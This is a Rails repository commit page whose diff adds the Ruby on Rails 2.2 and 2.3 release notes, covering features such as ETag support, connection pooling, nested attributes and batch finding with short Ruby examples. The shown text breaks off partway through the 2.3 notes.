diff options
author | Carl Lerche & Yehuda Katz <wycats@gmail.com> | 2009-04-13 15:18:45 -0700 |
---|---|---|
committer | Carl Lerche & Yehuda Katz <wycats@gmail.com> | 2009-04-13 15:18:45 -0700 |
commit | 906aebceedb95d8caa6db6314bc90f605bdfaf2b (patch) | |
tree | 5abc86bb6709b20df7cb5f4d1750b27c641dca4b /railties/guides/source | |
parent | 2036d3ba75da1a0f3061bf5a33c89e2b2eaff420 (diff) | |
parent | c877857d59554d78dbf45f5f9fcaafb8badec4e2 (diff) | |
download | rails-906aebceedb95d8caa6db6314bc90f605bdfaf2b.tar.gz rails-906aebceedb95d8caa6db6314bc90f605bdfaf2b.tar.bz2 rails-906aebceedb95d8caa6db6314bc90f605bdfaf2b.zip |
Bring abstract_controller up to date with rails/master
Resolved all the conflicts since 2.3.0 -> HEAD. Following is a list
of commits that could not be applied cleanly or are obviated with the
abstract_controller refactor. They all need to be revisited to ensure
that fixes made in 2.3 do not reappear in 3.0:
2259ecf368e6a6715966f69216e3ee86bf1a82a7
AR not available
* This will be reimplemented with ActionORM or equivalent
06182ea02e92afad579998aa80144588e8865ac3
implicitly rendering a js response should not use the default layout
[#1844 state:resolved]
* This will be handled generically
893e9eb99504705419ad6edac14d00e71cef5f12
Improve view rendering performance in development mode and reinstate
template recompiling in production [#1909 state:resolved]
* We will need to reimplement rails-dev-boost on top of the refactor;
the changes here are very implementation specific and cannot be
cleanly applied. The following commits are implicated:
199e750d46c04970b5e7684998d09405648ecbd4
3942cb406e1d5db0ac00e03153809cc8dc4cc4db
f8ea9f85d4f1e3e6f3b5d895bef6b013aa4b0690
e3b166aab37ddc2fbab030b146eb61713b91bf55
ae9f258e03c9fd5088da12c1c6cd216cc89a01f7
44423126c6f6133a1d9cf1d0832b527e8711d40f
0cb020b4d6d838025859bd60fb8151c8e21b8e84
workaround for picking layouts based on wrong view_paths
[#1974 state:resolved]
* The specifics of this commit no longer apply. Since it is a two-line
commit, we will reimplement this change.
8c5cc66a831aadb159f3daaffa4208064c30af0e
make action_controller/layouts pick templates from the current instance's
view_paths instead of the class view_paths [#1974 state:resolved]
* This does not apply at all. It should be trivial to apply the feature
to the reimplemented ActionController::Base.
87e8b162463f13bd50d27398f020769460a770e3
fix HTML fallback for explicit templates [#2052 state:resolved]
* There were a number of patches related to this that simply compounded
each other. Basically none of them apply cleanly, and the underlying
issue needs to be revisited. After discussing the underlying problem
with Koz, we will defer these fixes for further discussion.
Diffstat (limited to 'railties/guides/source')
29 files changed, 18798 insertions, 0 deletions
diff --git a/railties/guides/source/2_2_release_notes.textile b/railties/guides/source/2_2_release_notes.textile new file mode 100644 index 0000000000..f60af01050 --- /dev/null +++ b/railties/guides/source/2_2_release_notes.textile @@ -0,0 +1,422 @@ +h2. Ruby on Rails 2.2 Release Notes + +Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub. + +Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails. + +endprologue. + +h3. Infrastructure + +Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world. + +h4. Internationalization + +Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing). + +* Lead Contributors: Rails i18 Team +* More information : +** "Official Rails i18 website":http://rails-i18n.org +** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized +** "Localizing Rails : Demo application":http://i18n-demo.phusion.nl + +h4. Compatibility with Ruby 1.9 and JRuby + +Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released. + +h3. Documentation + +The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes: + +* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started_with_rails.html +* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html +* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html +* "Active Record Finders":http://guides.rubyonrails.org/finders.html +* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html +* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html +* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing_outside_in.html +* "Basics of Action Controller":http://guides.rubyonrails.org/actioncontroller_basics.html +* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html +* "Testing Rails Applications":http://guides.rubyonrails.org/testing_rails_applications.html +* "Securing Rails Applications":http://guides.rubyonrails.org/security.html +* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html +* "Benchmarking and Profiling Rails Applications":http://guides.rubyonrails.org/benchmarking_and_profiling.html +* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/creating_plugins.html + +All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers. + +If you want to generate these guides locally, inside your application: + +<ruby> +rake doc:guides +</ruby> + +This will put the guides inside +RAILS_ROOT/doc/guides+ and you may start surfing straight away by opening +RAILS_ROOT/doc/guides/index.html+ in your favourite browser. + +* Lead Contributors: "Rails Documentation Team":http://guides.rails.info/credits.html +* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/. +* More information: +** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide +** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch + +h3. Better integration with HTTP : Out of the box ETag support + +Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all. + +<ruby> +class ArticlesController < ApplicationController + def show_with_respond_to_block + @article = Article.find(params[:id]) + + # If the request sends headers that differs from the options provided to stale?, then + # the request is indeed stale and the respond_to block is triggered (and the options + # to the stale? call is set on the response). + # + # If the request headers match, then the request is fresh and the respond_to block is + # not triggered. Instead the default render will occur, which will check the last-modified + # and etag headers and conclude that it only needs to send a "304 Not Modified" instead + # of rendering the template. + if stale?(:last_modified => @article.published_at.utc, :etag => @article) + respond_to do |wants| + # normal response processing + end + end + end + + def show_with_implied_render + @article = Article.find(params[:id]) + + # Sets the response headers and checks them against the request, if the request is stale + # (i.e. no match of either etag or last-modified), then the default render of the template happens. + # If the request is fresh, then the default render will return a "304 Not Modified" + # instead of rendering the template. + fresh_when(:last_modified => @article.published_at.utc, :etag => @article) + end +end +</ruby> + +h3. Thread Safety + +The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores. + +To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+: + +<ruby> +config.threadsafe! +</ruby> + +* More information : +** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails +** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core +** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html + +h3. Active Record + +There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements. + +h4. Transactional Migrations + +Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter. + +* Lead Contributor: "Adam Wiggins":http://adam.blog.heroku.com/ +* More information: +** "DDL Transactions":http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/ +** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/ + +h4. Connection Pooling + +Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it. + +<ruby> +development: + adapter: mysql + username: root + database: sample_development + pool: 10 + wait_timeout: 10 +</ruby> + +* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/ +* More information: +** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools + +h4. Hashes for Join Table Conditions + +You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins. + +<ruby> +class Photo < ActiveRecord::Base + belongs_to :product +end + +class Product < ActiveRecord::Base + has_many :photos +end + +# Get all products with copyright-free photos: +Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }}) +</ruby> + +* More information: +** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions + +h4. New Dynamic Finders + +Two new sets of methods have been added to Active Record's dynamic finders family. + +h5. +find_last_by_<em>attribute</em>+ + +The +find_last_by_<em>attribute</em>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+ + +<ruby> +# Get the last user who signed up from London +User.find_last_by_city('London') +</ruby> + +* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua + +h5. +find_by_<em>attribute</em>!+ + +The new bang! version of +find_by_<em>attribute</em>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match. + +<ruby> +# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet! +User.find_by_name!('Moby') +</ruby> + +* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com + +h4. Associations Respect Private/Protected Scope + +Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally. + +* Lead Contributor: Adam Milligan +* More information: +** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/ + +h4. Other ActiveRecord Changes + +* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo +* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp. +* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer. +* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names + +h3. Action Controller + +On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications. + +h4. Shallow Route Nesting + +Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. + +<ruby> +map.resources :publishers, :shallow => true do |publisher| + publisher.resources :magazines do |magazine| + magazine.resources :photos + end +end +</ruby> + +This will enable recognition of (among others) these routes: + +<ruby> +/publishers/1 ==> publisher_path(1) +/publishers/1/magazines ==> publisher_magazines_path(1) +/magazines/2 ==> magazine_path(2) +/magazines/2/photos ==> magazines_photos_path(2) +/photos/3 ==> photo_path(3) +</ruby> + +* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/ +* More information: +** "Rails Routing from the Outside In":http://guides.rails.info/routing/routing_outside_in.html#_nested_resources +** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes + +h4. Method Arrays for Member or Collection Routes + +You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration: + +<ruby> +map.resources :photos, :collection => { :search => [:get, :post] } +</ruby> + +* Lead Contributor: "Brennan Dunn":http://brennandunn.com/ + +h4. Resources With Specific Actions + +By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources. + +<ruby> +map.resources :photos, :only => [:index, :show] +map.resources :products, :except => :destroy +</ruby> + +* Lead Contributor: "Tom Stuart":http://experthuman.com/ + +h4. Other Action Controller Changes + +* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request. +* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+. +* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds +* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers. +* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI). +* +render+ now supports a +:js+ option to render plain vanilla javascript with the right mime type. +* Request forgery protection has been tightened up to apply to HTML-formatted content requests only. +* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+. + +h3. Action View + +* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code. +* The included Prototype javascript library has been upgraded to version 1.6.0.3. +* +RJS#page.reload+ to reload the browser's current location via javascript +* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions. + +h3. Action Mailer + +Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+. + +* More information: +** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts + +Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed. + +h3. Active Support + +Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods. + +h4. Memoization + +Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications: + +<ruby> +def full_name + @full_name ||= "#{first_name} #{last_name}" +end +</ruby> + +Memoization lets you handle this task in a declarative fashion: + +<ruby> +extend ActiveSupport::Memoizable + +def full_name + "#{first_name} #{last_name}" +end +memoize :full_name +</ruby> + +Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off. + +* Lead Contributor: "Josh Peek":http://joshpeek.com/ +* More information: +** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization +** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization + +h4. each_with_object + +The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. + +<ruby> +%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'} +</ruby> + +Lead Contributor: "Adam Keys":http://therealadam.com/ + +h4. Delegates With Prefixes + +If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example: + +<ruby> +class Vendor < ActiveRecord::Base + has_one :account + delegate :email, :password, :to => :account, :prefix => true +end +</ruby> + +This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix: + +<ruby> +class Vendor < ActiveRecord::Base + has_one :account + delegate :email, :password, :to => :account, :prefix => :owner +end +</ruby> + +This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+. + +Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck + +h4. Other Active Support Changes + +* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes. +* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax. +* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons. +* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+ +* +Enumerable#many?+ to encapsulate +collection.size > 1+ +* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+. +* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on. +* The included TzInfo library has been upgraded to version 0.3.12. +* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+ + +h3. Railties + +In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism. + +h4. config.gems + +To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands: + +* +config.gem _gem_name_+ in your +config/environment.rb+ file +* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen) +* +rake gems:install+ to install missing gems to the computer +* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+ +* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+ +* +rake gems:build+ to build any missing native extensions +* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them + +You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line. + +* Lead Contributor: "Matt Jones":http://github.com/al2o3cr +* More information: +** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies +** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/ +** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128 + +h4. Other Railties Changes + +* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly. +* +script/plugin install <plugin> -r <revision>+ now works with git-based as well as svn-based plugins. +* +script/console+ now supports a +--debugger+ option +* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source +* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations. +* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+ +* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher. + +h3. Deprecated + +A few pieces of older code are deprecated in this release: + +* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+ +* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality. +* Implicit local assignments when rendering partials has been deprecated. + +<ruby> +def partial_with_implicit_local_assignment + @customer = Customer.new("Marcel") + render :partial => "customer" +end +</ruby> + +Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now. + +* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement. +* +ActiveRecord::Base.allow_concurrency+ no longer has any effect. +* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+ +* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated. +* +String#chars+ has been deprecated in favor of +String#mb_chars+. +* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead. +* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead. + +h3. Credits + +Release notes compiled by "Mike Gunderloy":http://afreshcup.com diff --git a/railties/guides/source/2_3_release_notes.textile b/railties/guides/source/2_3_release_notes.textile new file mode 100644 index 0000000000..6a97fd2cd1 --- /dev/null +++ b/railties/guides/source/2_3_release_notes.textile @@ -0,0 +1,610 @@ +h2. Ruby on Rails 2.3 Release Notes + +Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components. + +endprologue. + +h3. Application Architecture + +There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines. + +h4. Rack Integration + +Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test: + +* Sessions +* Cookies +* File uploads +* JSON/XML APIs + +Here's a summary of the rack-related changes: + +* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch. +* The FCGI handler goes through Rack. +* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+. +* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack. +* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware. +* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form. +* +CgiRequest+ and +CgiResponse+ have been removed. +* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object). +* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected. +* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+. +* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+. +* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+. +* You can still change your session store with +ActionController::Base.session_store = :active_record_store+. +* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+. However, the +:session_domain+ option has been renamed to +:domain+. +* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+. +* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead. +* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache. +* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+. +* +ActionController::Request+ inherits from +Rack::Request+. +* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use +config.action_controller.session = { :key => 'foo', ...+. +* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it. + +h4. Renewed Support for Rails Engines + +After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins. + +h3. Documentation + +The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://guides.rails.info/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book. + +* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects. + +h3. Ruby 1.9.1 Support + +Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core. + +h3. Active Record + +Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing. + +h4. Nested Attributes + +Active Record can now update the attributes on nested models directly, provided you tell it to do so: + +<ruby> +class Book < ActiveRecord::Base + has_one :author + has_many :pages + + accepts_nested_attributes_for :author, :pages +end +</ruby> + +Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later). + +You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option: + +<ruby> +accepts_nested_attributes_for :author, + :reject_if => proc { |attributes| attributes['name'].blank? } +</ruby> + +* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/ +* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms + +h4. Nested Transactions + +Active Record now supports nested transactions, a much-requested feature. Now you can write code like this: + +<ruby> +User.transaction do + User.create(:username => 'Admin') + User.transaction(:requires_new => true) do + User.create(:username => 'Regular') + raise ActiveRecord::Rollback + end + end + + User.find(:all) # => Returns only Admin +</ruby> + +Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing. + +* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/ + +h4. Dynamic Scopes + +You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example: + +<ruby> +Order.scoped_by_customer_id(12) +Order.scoped_by_customer_id(12).find(:all, + :conditions => "status = 'open'") +Order.scoped_by_customer_id(12).scoped_by_status("open") +</ruby> + +There's nothing to define to use dynamic scopes: they just work. + +* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/ +* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods. + +h4. Default Scopes + +Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course). + +* Lead Contributor: Paweł Kondzior +* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping + +h4. Batch Processing + +You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+: + +<ruby> +Customer.find_in_batches(:conditions => {:active => true}) do |customer_group| + customer_group.each { |customer| customer.update_account_balance! } +end +</ruby> + +You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch. + +The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default): + +<ruby> +Customer.find_each do |customer| + customer.update_account_balance! +end +</ruby> + +Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop. + +* More Information (at that point the convenience method was called just +each+): +** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/ +** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find + +h4. Multiple Conditions for Callbacks + +When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array: + +<ruby> +before_save :update_credit_rating, :if => :active, + :unless => [:admin, :cash_only] +</ruby> +* Lead Contributor: L. Caviola + +h4. Find with having + +Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results: + +<ruby> +developers = Developer.find(:all, :group => "salary", + :having => "sum(salary) > 10000", :select => "salary") +</ruby> + +* Lead Contributor: "Emilio Tagua":http://github.com/miloops + +h4. Reconnecting MySQL Connections + +MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change. + +* Lead Contributor: "Dov Murik":http://twitter.com/dubek +* More information: +** "Controlling Automatic Reconnection 